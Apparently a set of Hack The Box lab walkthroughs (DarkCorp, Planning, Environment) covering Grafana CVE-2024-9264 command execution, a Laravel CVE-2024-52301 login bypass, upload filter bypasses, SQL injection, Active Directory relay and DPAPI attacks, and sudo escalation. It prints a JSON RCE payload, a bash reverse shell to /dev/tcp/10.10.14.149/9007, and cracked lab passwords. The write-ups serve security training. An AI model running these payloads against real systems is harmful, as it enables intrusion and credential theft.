We modified the contact-form recipient field and replayed the POST via Burp Repeater; the server returned 200 OK, and it delivered the message to admin@drip.htb.

We received a request for customer information.

Let’s start our listener

Contact Form Payload

Insert the base64-encoded string into the message.

The Burp Suite trace looks like the following.

A staff member sent an email.

Resetting the password

We need to change the password.

After setting the payload, we received a password reset link.

Let’s change the password as needed

We are provide with a dashboard

SQL injection discovered on dev-a3f1-01.drip.htb.

We accessed the user overview and discovered useful information.

The application is vulnerable to SQL injection.

SQLi Payload for Table Enumeration

The input is an SQL injection payload that closes the current query and injects a new one: it terminates the original statement, runs
SELECT table_name FROM information_schema.tables WHERE table_schema=’public’;
and uses — to comment out the remainder. This enumerates all table names in the public schema; the response (Users, Admins) shows the database exposed those table names, confirming successful SQLi and information disclosure.

The payload closes the current query and injects a new one:
SELECT column_name FROM information_schema.columns WHERE table_name=’Users’;–
which lists all column names for the Users table. The response (id, username, password, email, host_header, ip_address) confirms successful SQLi-driven schema enumeration and reveals sensitive columns (notably password and email) that could enable credential or user-data disclosure.

Obtained password hashes from the Users table (Users.password). These values are opaque; we should determine their type, attempt to crack only with authorisation, and protect them securely.

PostgreSQL File Enumeration

The SQL command SELECT pg_ls_dir('./'); invokes PostgreSQL’s pg_ls_dir() function to list all files and directories in the server process’s current directory (typically the database data or working directory). Because pg_ls_dir() exposes the filesystem view, it can reveal configuration files or other server-side files accessible to the database process — which is why it’s often used during post‑exploitation or SQLi-driven reconnaissance. Importantly, this function requires superuser privileges; therefore, a non‑superuser connection will be denied. Consequently, successful execution implies that the user has elevated database permissions.

The SQL command SELECT pg_read_file('PG_VERSION', 0, 200); calls PostgreSQL’s pg_read_file() to read up to 200 bytes starting at offset 0 from the file PG_VERSION on the database server. PG_VERSION normally contains the PostgreSQL version string, so a successful call discloses the DB version to the attacker — useful for fingerprinting — and typically requires superuser privileges, making its successful execution an indicator of elevated database access and a potential information‑disclosure risk.

Returning down the path, I spotted one; it would impress those who have beaten Cerberus…/../../ssssss

SSSD maintains its own local ticket credential caching mechanism (KCM), managed by the SSSD process. It stores a copy of the valid credential cache, while the corresponding encryption key is stored separately in /var/lib/sss/secrets/secrets.ldb and /var/lib/sss/secrets/.secrets.mkey.

Shell as postgres

Finally, we successfully received a reverse shell connection back to our machine; therefore, this confirmed that the payload executed correctly and established remote access as intended.

Nothing of significance was detected.

Discovered the database username and password.

Restore the Old email

Elevate the current shell to an interactive TTY.

The encrypted PostgreSQL backup dev-dripmail.old.sql.gpg is decrypted using the provided passphrase, and the resulting SQL dump is saved as dev-dripmail.old.sql. Consequently, this allows further inspection or restoration of the database for deeper analysis or recovery.

The output resembles what is shown above.

Found three hashes that can be cracked with Hashcat.

Hash Cracking via hashcat

We successfully recovered the password thePlague61780.

Since Hashcat managed to crack only one hash, we’ll therefore use CrackStation to attempt cracking the remaining two.

Bloodhound enumeration

Update the configuration file.

SSH as ebelford user

Established an SSH session to the machine as ebelforrd.

No binary found

Found two IP addresses and several subdomains on the target machine.

Update the subdomain entries in our /etc/hosts file.

Network Tunnelling and DNS Spoofing with sshuttle and dnschef

Use sshuttle to connect to the server and route traffic (like a VPN / port forwarding).

Additionally, dnschef was used to intercept and spoof DNS traffic during testing.

Gathering Information via Internal Status Monitor

Log in using the victor.r account credentials.

Click the check button to get a response

Replace the saved victor.r login details in Burp Suite.

Testing the suspected host and port for reachability.

Begin the NTLM relay/replay attack.

Leverage socatx64 to perform this activity.

Abuse S4U2Self and Gain a Shell on WEB-01

An LDAP interactive shell session is now running.

Run get_user_groups on svc_acc to list their groups.

Retrieved the SID associated with this action.

Retrieved the administrator.ccache Kerberos ticket.

We can read the user flag by typing “type user.txt” command

Escalate to Root Privileges Access on Darkcorp machine

Privilege Escalation:

Transfer sharpdpapi.exe to the target host.

Attempting to evade Windows Defender in a sanctioned test environment

The output reveals a DPAPI-protected credential blob located at
C:\Users\Administrator\AppData\Local\Microsoft\Credentials\32B2774DF751FF7E28E78AE75C237A1E. It references a master key with GUID {6037d071-...} and shows that the blob is protected using system-level DPAPI (CRYPTPROTECT_SYSTEM), with SHA-512 for hashing and AES-256 for encryption. Since the message indicates MasterKey GUID not in cache, the decryption cannot proceed until the corresponding master key is obtained — either from the user’s masterkey file or by accessing a process currently holding it in memory.

This output shows a DPAPI local credential file at C:\Users\Administrator\AppData\Local\Microsoft\Credentials\ with the filename 32B2774DF751FF7E28E78AE75C237A1E. The system protects it using a DPAPI master key (GUID {6037d071-cac5-481e-9e08-c4296c0a7ff7}), applies SHA-512 for hashing, and uses AES-256 for encryption. Because the master key isn’t currently in the cache, we can’t decrypt the credential blob until we obtain that master key (for example from the masterkey file) or access the process that holds it in memory.

Direct file transfer through evil-winrm was unsuccessful.

Transform the file into base64 format.

We successfully recovered the decrypted key; as noted above, this confirms the prior output and therefore enables further analysis.

Access darkcorp machine via angela.w

Successfully recovered the password Pack_beneath_Solid9!

Retrieval of angela.w’s NT hash failed.

Attempt to gain access to the angela.w account via a different method.

Acquired the hash dump for angela.w.

Save the ticket as angela.w.adm.ccache.

Successful privilege escalation to root.

Retrieved password hashes.

Password reset completed and new password obtained.

Exploiting GPOs with pyGPOAbuse

Enumerated several GPOs in the darkcorp.htb domain; additionally, each entry shows the GPO GUID, display name, SYSVOL path, applied extension GUIDs, version, and the policy areas it controls (registry, EFS policy/recovery, Windows Firewall, security/audit, restricted groups, scheduled tasks). Furthermore, the Default Domain Policy and Default Domain Controllers Policy enforce core domain and DC security — notably, the DC policy has many revisions. Meanwhile, the SecurityUpdates GPO appears to manage scheduled tasks and update enforcement. Therefore, map these SYSVOL files to find promising escalation vectors: for example, check for misconfigured scheduled tasks, review EFS recovery settings for exposed keys, and identify privileged group memberships. Also, correlate GPO versions and recent changes to prioritize likely targets.

BloodHound identifies taylor as GPO manager — pyGPOAbuse is applicable, pending discovery of the GPO ID.

Force a Group Policy update using gpupdate /force.

Display the root flag with type root.txt.

The post Hack The Box: DarkCorp Machine Walkthrough – Insane Difficulity appeared first on Threatninja.net.

Introduction to Planning:

In this write-up, we will explore the “Planning” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Planning” machine from Hack The Box by achieving the following objectives:

User Flag:

During reconnaissance, extensive fuzzing was required to identify a Grafana instance vulnerable to CVE-2024-9264—a critical flaw enabling arbitrary command execution through unsanitized SQL inputs in the DuckDB CLI. By deploying a proof-of-concept exploit, I successfully extracted files and ran commands, gaining entry to the Grafana container but not the underlying host. Subsequent enumeration uncovered valid credentials for the user “enzo,” which granted SSH access to the host system.

Root Flag:

Once on the host, I discovered the Crontab-UI service—a web-based tool for managing cron jobs—running on localhost:8000 and secured with Basic Authentication. Leveraging the earlier credentials for the “enzo” user, I authenticated to the interface and added a malicious cron job configured to establish a reverse shell connection.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.68

nmap -sC -sV -oA initial 10.10.11.68

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/planning]
└──╼ $nmap -sC -sV -oA initial 10.10.11.68 
# Nmap 7.94SVN scan initiated Wed Sep 10 08:09:24 2025 as: nmap -sC -sV -oA initial 10.10.11.68
Nmap scan report for 10.10.11.68
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 10 08:09:35 2025 -- 1 IP address (1 host up) scanned in 11.35 seconds
┌─[dark@parrot]─[~/Documents/htb/planning]
└──╼ $

┌─[dark@parrot]─[~/Documents/htb/planning]
└──╼ $nmap -sC -sV -oA initial 10.10.11.68 
# Nmap 7.94SVN scan initiated Wed Sep 10 08:09:24 2025 as: nmap -sC -sV -oA initial 10.10.11.68
Nmap scan report for 10.10.11.68
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 10 08:09:35 2025 -- 1 IP address (1 host up) scanned in 11.35 seconds
┌─[dark@parrot]─[~/Documents/htb/planning]
└──╼ $

Analysis:

• Port 22 (SSH): Secure Shell service for remote access.
  
• Port 80 (HTTP): Web server running Apache.
  

Web Application Exploration:

The website for Edukate appears to be a standard educational platform.

What is Edukate?

Edukate is a free educational website template designed for online learning platforms and academic institutions. Its intuitive layout improves user engagement, while its clean, developer-friendly codebase makes customization simple. Built with Sass for easy maintenance, Edukate is optimized for page speed to deliver fast loading times and lower bounce rates. It is fully cross-browser compatible, ensuring a smooth experience across all major browsers, and SEO-friendly to help boost search engine rankings.

Source: themewagon/Edukate

No usable elements are present here.

Nothing noteworthy here either.

Web Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster vhost -u http://planning.htb -w combined_subdomains.txt --append-domain -t 50

gobuster vhost -u http://planning.htb -w combined_subdomains.txt --append-domain -t 50

Gobuster Output:

┌─[dark@parrot]─[/opt/SecLists/Discovery/DNS]
└──╼ $gobuster vhost -u http://planning.htb -w combined_subdomains.txt --append-domain -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://planning.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        combined_subdomains.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: grafana.planning.htb Status: 302 [Size: 29] [--> /login]
===============================================================
Finished
===============================================================
┌─[dark@parrot]─[/opt/SecLists/Discovery/DNS]
└──╼ $

┌─[dark@parrot]─[/opt/SecLists/Discovery/DNS]
└──╼ $gobuster vhost -u http://planning.htb -w combined_subdomains.txt --append-domain -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://planning.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        combined_subdomains.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: grafana.planning.htb Status: 302 [Size: 29] [--> /login]
===============================================================
Finished
===============================================================
┌─[dark@parrot]─[/opt/SecLists/Discovery/DNS]
└──╼ $

Analysis:

Discovery: grafana.planning.htb

• Gobuster found a valid virtual host: grafana.planning.htb.
• This is likely an internal service meant for the organization’s team, not a public endpoint.
• Since it contains grafana, it strongly suggests it is a Grafana dashboard instance.

Grafana Application

The grafana.planning.htb subdomain loads successfully and displays the Grafana login page.

We should be able to log in using the credentials provided by Hack The Box.

• Username: admin
• Password: 0D5oT70Fq13EvB5r

We need to inspect the traffic using Burp Suite.

First, I noticed that the endpoint /api/user/auth-tokens-rotate is available here.

We successfully gained access to the Grafana dashboard.

We also confirmed that the Grafana instance is running version 11.0.0

There are numerous tokens being rotated here.

This is what the response looks like in Burp Suite.

Critical SQL Expression Vulnerability in Grafana Enabling Authenticated LFI/RCE

This vulnerability targets Grafana 11’s experimental SQL Expressions feature, which allows users to post-process query results via custom SQL using DuckDB. The flaw arises because user input isn’t properly sanitized before being sent to the DuckDB CLI, enabling remote code execution (RCE) or arbitrary file reads. The root cause is unfiltered input passed directly to the DuckDB command-line interface. The CVSS v3.1 score is 9.9 (Critical).

Grafana doesn’t include DuckDB by default. For exploitation, DuckDB must be installed on the server and accessible in Grafana’s PATH. If it’s absent, the system is safe.

Using a PoC, we can exploit this flaw to read system files, demonstrating its impact and severity.

Let’s search Google for potential exploits targeting Grafana v11.0.0

This flaw enables authenticated users to attain remote code execution (RCE). I exploited it using the publicly available proof-of-concept from Nollium’s GitHub repository.

We successfully retrieved the /etc/passwd file.

When we ran the whoami command, it returned root, which is unexpected.

Let’s set up our listener.

Unfortunately, we were unable to execute the command due to an error.

As suspected, this is running inside a Docker container.

The environment variables reveal the Grafana admin credentials:

• GF_SECURITY_ADMIN_USER=enzo
• GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!.

Exploit CVE-2024-9264 using Burp Suite.

The api/ds/query endpoint is available in Grafana, and we can leverage it for this exploit.

If the full path is not specified, it responds with a “Not Found” message.

However, attempting to execute the full path results in an “Unauthorized” response.

It’s still the same; we need to send the JSON data here.

After replacing the token, it worked.

{
  "from": "1729313027261",
  "queries": [
    {
      "datasource": {"name": "Expression", "type": "__expr__", "uid": "__expr__"},
      "expression": "SELECT 1; install shellfs from community; LOAD shellfs; SELECT * FROM read_csv(\"whoami > /tmp/output.txt 2>&1 |")",
      "hide": false,
      "refId": "B",
      "type": "sql",
      "window": ""
    }
  ],
  "to": "1729334627261"
}

{
  "from": "1729313027261",
  "queries": [
    {
      "datasource": {"name": "Expression", "type": "__expr__", "uid": "__expr__"},
      "expression": "SELECT 1; install shellfs from community; LOAD shellfs; SELECT * FROM read_csv(\"whoami > /tmp/output.txt 2>&1 |")",
      "hide": false,
      "refId": "B",
      "type": "sql",
      "window": ""
    }
  ],
  "to": "1729334627261"
}

This JSON payload is a crafted query sent to Grafana’s api/ds/query endpoint. It uses the Expression data source with an SQL expression to run a sequence of commands: first installing and loading the shellfs extension, then executing whoami and redirecting the output to /tmp/output.txt. This effectively demonstrates command execution through CVE-2024-9264.

Reading the contents of /tmp/output.txt confirms that the whoami command executed on the target machine.

Let’s set up our listener to catch the reverse shell.

Use this SQL command to execute the bash script.

It’s hanging, which is a good sign that the payload is executing.

We successfully received a reverse shell connection.

We attempted to switch to the enzo user with su enzo, but it didn’t work.

SSH worked perfectly and allowed us to log in successfully.

We were able to read the user flag by running cat user.txt.

Escalate To Root Privileges Access

Privilege Escalation:

Locate the database file.

We discovered /opt/crrontabs/crontab.db.

The password for root_grafana is P4ssw0rdS0pRi0T3c.

Port 8000 is open here, which is unusual.

Let’s set up port forwarding for port 8000.

We need to provide the credentials to log in.

We need to use the credentials we discovered earlier to log in.

It turned out to be a cron jobs management interface.

What is Cronjob-UI?

Crontab-UI is an open-source Node.js web interface for managing cron jobs on Unix-like systems, simplifying tasks like creating, editing, pausing, deleting, and backing up crontab entries via a browser (default: http://localhost:8000). It reduces errors from manual text editing, supports error logging, email notifications, webhooks, and easy import/export for multi-machine deployment. Installation is via npm (npm install crontab-ui -g), with optional Docker support and Basic Auth for security. Ideal for beginners handling scheduled tasks.

We need to create a new cron job command.

The shell.sh file contains the reverse shell that will connect back to us.

We will use curl to fetch the file, as demonstrated earlier.

The file was transferred successfully, as expected.

We were able to access the root shell and read the root flag by running cat root.txt.

The post Hack The Box: Planning Machine Walkthrouh – Easy Diffucilty appeared first on Threatninja.net.

Introduction to Environment:

In this write-up, we will explore the “Environment” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective for the Environment machine:

The goal of this walkthrough is to complete the “Environment” machine from Hack The Box by achieving the following objectives:

User Flag:

The login page identified a Marketing Management Portal, and testing the Remember parameter with --env=preprod bypassed authentication, exposing user emails, including hish@environment.htb. The application runs PHP 8.2.28 and Laravel 11.30.0, which is vulnerable to argument injection (CVE-2024-52301) and UniSharp Laravel Filemanager code injection, highlighting further exploitation potential. The profile upload feature allowed a PHP file bypass by appending a . to the extension (shell.php.); a crafted payload confirmed code execution via phpinfo(). A PHP reverse shell was uploaded and triggered, connecting back to a listener and allowing retrieval of the user flag with cat user.txt.

Root Flag:

To escalate privileges and obtain the root flag, we first examined the contents of /home/hish, discovering a backup file keyvault.gpg and a .gnupg directory containing GnuPG configuration and key files. By copying .gnupg to /tmp/mygnupg and setting appropriate permissions, we used GPG to decrypt keyvault.gpg, revealing credentials including the Environment.htb password (marineSPm@ster!!). User “hish” had sudo privileges to run /usr/bin/systeminfo with preserved environment variables (ENV and BASH_ENV), creating a vector for privilege escalation. A script dark.sh containing bash -p was crafted and made executable; executing sudo BASH_ENV=./dark.sh /usr/bin/systeminfo triggered the script under elevated privileges, spawning a root shell and effectively granting full control of the system, allowing access to the root flag.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.10.10

nmap -sC -sV -oN nmap_initial.txt 10.10.10.10

Nmap Output:

# Nmap 7.94SVN scan initiated Sun May  4 08:43:11 2025 as: nmap -sC -sV -oA initial 10.10.11.67
Nmap scan report for 10.10.11.67
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  4 08:43:21 2025 -- 1 IP address (1 host up) scanned in 10.97 seconds

# Nmap 7.94SVN scan initiated Sun May  4 08:43:11 2025 as: nmap -sC -sV -oA initial 10.10.11.67
Nmap scan report for 10.10.11.67
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  4 08:43:21 2025 -- 1 IP address (1 host up) scanned in 10.97 seconds

Analysis:

• Port 22 (SSH): Secure Shell service for remote access, running OpenSSH 9.2p1 (Debian 12).
• Port 80 (HTTP): Web server running nginx 1.22.1, redirecting to environment.htb

Web Enumeration on the Environment machine:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt 

gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt 

Gobuster Output:

┌─[dark@parrot]─[~/Documents/htb/environment]
└──╼ $gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 2391]
/upload               (Status: 405) [Size: 244852]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up                   (Status: 200) [Size: 2125]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing              (Status: 405) [Size: 244854]
Progress: 81643 / 81644 (100.00%)
===============================================================
Finished
===============================================================

┌─[dark@parrot]─[~/Documents/htb/environment]
└──╼ $gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 2391]
/upload               (Status: 405) [Size: 244852]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up                   (Status: 200) [Size: 2125]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing              (Status: 405) [Size: 244854]
Progress: 81643 / 81644 (100.00%)
===============================================================
Finished
===============================================================

Analysis:

• login (200): Login page, likely entry point for authentication.
• /upload (405): Upload functionality present but restricted (Method Not Allowed).
• /storage (301): Redirects to http://environment.htb/storage/.
• /up (200): Page accessible, may contain system or application status.
• /logout (302): Redirects back to login page.
• /vendor (301): Redirects to http://environment.htb/vendor/, likely framework/vendor files.
• /build (301): Redirects to http://environment.htb/build/, may contain application build assets.
• /mailing (405): Mailing functionality endpoint, but restricted (Method Not Allowed).

Exploration for the Environment Machine

The website displays a standard interface with no obvious points of exploitation.

The login page identifies the application as a Marketing Management Portal, but no valid credentials are available to test authentication.

Attackers can examine the PHP script at the /upload endpoint to gather potential hints. The application runs on PHP 8.2.28 with Laravel 11.30.0, which may expose version-specific vulnerabilities.

Laravel 11.30.0 Argument Injection Vulnerability (CVE-2024-52301) – Enumeration & PoC

Therefore, let’s research potential exploits for PHP 8.2.28 with Laravel 11.30.0.

Source: Laravel 11.30.0 Exploit: What You Need to Know

On the discovered website, attackers can exploit CVE-2024-52301, a Laravel 11.30.0 argument injection flaw triggered when register_argc_argv is enabled. By sending crafted query strings, they can inject arguments into the PHP environment, potentially gaining unauthorised access or executing arbitrary commands.. This vulnerability poses a high risk, especially in shared hosting, but administrators can mitigate it by disabling register_argc_argv in php.ini and hardening server configurations.

Enumeration and Proof-of-Concept Testing for CVE-2024-52301

We will test the login page with blind credential attempts to see if any weak or default accounts accept access.

This is how the request and response appear when viewed through Burp Suite.

The request packet includes a parameter Remember=false, and the server responds with “Invalid Credentials“, indicating failed authentication.

Therefore, the next step is to modify the parameter by changing Remember=false to Remember=true and observe the server’s response.

Unfortunately, modifying Remember=false to Remember=true did not bypass authentication, as the login attempt still failed.

The output appears similar to the reaction shown above, confirming that the change in the Remember parameter did not affect authentication.

Removing the Remember parameter from the request still results in the same response, indicating no change in authentication behavior.

This PHP snippet checks the value of the $remember parameter to determine whether the user should stay logged in. If $remember equals 'False', the variable $keep_loggedin is set to False, meaning the session will not persist after login. If $remember equals 'True', then $keep_loggedin is set to True, allowing the application to keep the user logged in across sessions. Essentially, it controls the “Remember Me” functionality during authentication.

Modify the remember parameter to use a value other than false or true.

This code first sets the $keep_loggedin flag based on the $remember parameter, enabling the “Remember Me” feature if applicable. It then checks whether the application is running in the preprod environment, and if so, it automatically logs in as the user with ID 1 by regenerating the session, setting the session user ID, and redirecting to the management dashboard—essentially a developer shortcut for testing. If not in preprod, the code proceeds to look up the user in the database by their email.

Source: CVE-2024-52301 POC

Bypassing Environment with ?–env=production

When the query string ?--env=production is added to the URL, it injects the argument --env=production into $_SERVER['argv'], which Laravel interprets through its environment detection mechanism. This forces the framework to treat the application as if it is running in a production environment, causing the @production directive in Blade templates to render <p>Production environment</p> as the output.

By adding the parameter --env=preprod to the request packet, it may trigger the application’s pre-production environment logic seen in the code, potentially bypassing normal authentication and granting direct access as the default user (ID 1).

After adding the --env=preprod parameter, the application redirected to the management dashboard, where a list of user accounts was revealed.The dashboard showed multiple email addresses, including cooper@cooper.com, bob@bobbybuilder.net, sandra@bullock.com, p.bowls@gmail.com, bigsandwich@sandwich.com, dave@thediver.com, dreynolds@sunny.com, will@goldandblack.net, and nick.m@chicago.com, which attackers could potentially use for authentication attempts or targeted attacks.

We identified a profile displaying the details Name: Hish and Email: hish@environment.htb. The profile also includes a feature that allows uploading a new picture, which may present an opportunity to test for file upload vulnerabilities.

To test how the application processes file uploads, we uploaded a random .png file through the profile’s picture upload functionality.

However, the upload attempt returned an error message in the browser: “Unexpected MimeType: application/x-empty”, indicating that the application rejected the file due to an invalid or unrecognised MIME type.

Renaming the uploaded file with a .php extension prompted the application to respond with “Invalid file detected,” confirming that server-side validation actively blocks direct PHP or executable uploads.

UniSharp Laravel Filemanager – Code Injection Vulnerability (CVE-2024-21546) PoC & Exploitation

The vulnerability occurs in the file upload feature, where attackers can circumvent the restrictions by adding a . after a PHP file (for example, filename.php.) while using an allowed MIME type. Even though the application blocks certain extensions like PHP or HTML and MIME types such as text/x-php, text/html, or text/plain, this trick enables malicious files to be uploaded successfully. Snyk rates this issue as Critical with a CVSS v3.1 score of 9.8 and High with a CVSS v4.0 score of 8.9.

Let’s research exploits targeting the UniSharp Laravel Filemanager upload functionality.

Version-Agnostic Testing for UniSharp Laravel File Upload Vulnerabilities

If the UniSharp Laravel Filemanager version is unknown, you can test uploads without relying on the version. First, upload safe files like .jpg or .png to confirm the endpoint works. Then, try potentially executable files like .php, .php., or .php.jpg and watch the server response. HTTP 200 may indicate a bypass. You can also tweak MIME types to test validation. Monitor responses (200, 403, 405) and see if uploaded files can execute code—this approach highlights risky upload behaviors without knowing the exact version.

Modify the PHP file’s name by adding a “.” after the .php extension (e.g., test.php.). Actively test whether the upload filter allows bypassing and if server-side code runs.

The upload bypass succeeded, and the application accepted the .php. file, indicating the filter can be bypassed. The uploaded payload may execute.

The GIF89a output shows that the uploaded file is being treated as an image rather than executed as PHP. Since GIF89a is the GIF header, the server is likely enforcing MIME type checks or serving uploads as static files. This behaviour prevents the embedded PHP code from running directly. A GIF–PHP polyglot can bypass validation by starting with a valid GIF header while containing PHP code for execution. Extension tricks like .php., .php%00.png, or encoding bypasses may also allow the server to process the file as PHP. If the server serves uploads only as images, an LFI vulnerability could include the uploaded file to execute the PHP payload.

File Upload & Reverse Shell

Since the earlier PHP extension bypass worked, the next logical step was to upload a file phpinfo(); to confirm code execution. Retrieving this file successfully displayed the PHP configuration page, verifying that arbitrary PHP code can indeed run on the server.

The uploaded file ran successfully, and the browser showed phpinfo() output, confirming the server processes the injected PHP code.

Set up a listener on your machine to catch the reverse shell

We successfully uploaded the PHP reverse shell payload, and executing it attempted to connect back to the listener, as demonstrated in the command example above.

The connection did not trigger.

We started a Python HTTP server to host the payload for the target system to retrieve.

User “hish” attempted to retrieve a file using curl from the machine but received a “File not found” response.

We consolidated all the bash commands into a new script file to simplify execution.

Let’s attempt to fetch shell.sh from our machine.

Unexpectedly, nothing was detected.

Let’s run the bash command shown above

bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.149/9007+0%3E%261%27

bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.149/9007+0%3E%261%27

Surprisingly, it worked perfectly.

We can read the user flag with the command cat user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

Since this user has read access, the contents of the directory at www-data/home/hish can be inspected. Inside the backup directory, we found a file named keyvault.gpg.

GnuPG Key Inspection

We discovered a .gnupg directory.

Within the .gnupg directory of the user hish, several key GnuPG files and directories are present, including openpgp-revocs.d for revoked keys, private-keys-v1.d containing the user’s private keys, pubring.kbx and its backup pubring.kbx~ for storing public keys, random_seed used by GnuPG for cryptographic operations, and trustdb.gpg, which maintains the trust database for verifying key authenticity.

Decrypting the Backup File with GPG

The /tmp directory is empty and contains no files of interest.

User “hish” copied the .gnupg directory to /tmp/mygnupg to simplify access and analysis, likely to inspect or manipulate GnuPG-related files, such as private keys or configuration data, in a more convenient temporary location.

The /tmp/mygnupg directory permissions were set to 700, restricting access so that only the owner can read, write, or execute its contents.

After copying, the /tmp/mygnupg directory exists, but it contains no files of interest.

The command gpg --homedir /tmp/mygnupg --list-secret-keys tells GnuPG to use the directory /tmp/mygnupg as its home and lists all secret (private) keys stored there. This allows the user to view available private keys without affecting the default GPG configuration.

Using GnuPG with the home directory set to /tmp/mygnupg, the command decrypts /home/hish/backup/keyvault.gpg and writes the decrypted content to /tmp/message.txt, leveraging the secret keys stored in that directory.

After some time, we successfully retrieved message.txt, which may contain potentially useful information.

The message.txt file contains a list of credentials for different accounts. Specifically, it shows a PayPal password (Ihaves0meMon$yhere123), an Environment.htb password (marineSPm@ster!!), and a Facebook password (summerSunnyB3ACH!!). These credentials may allow access to the corresponding accounts or services.

Accessing User Hish’s Privileges

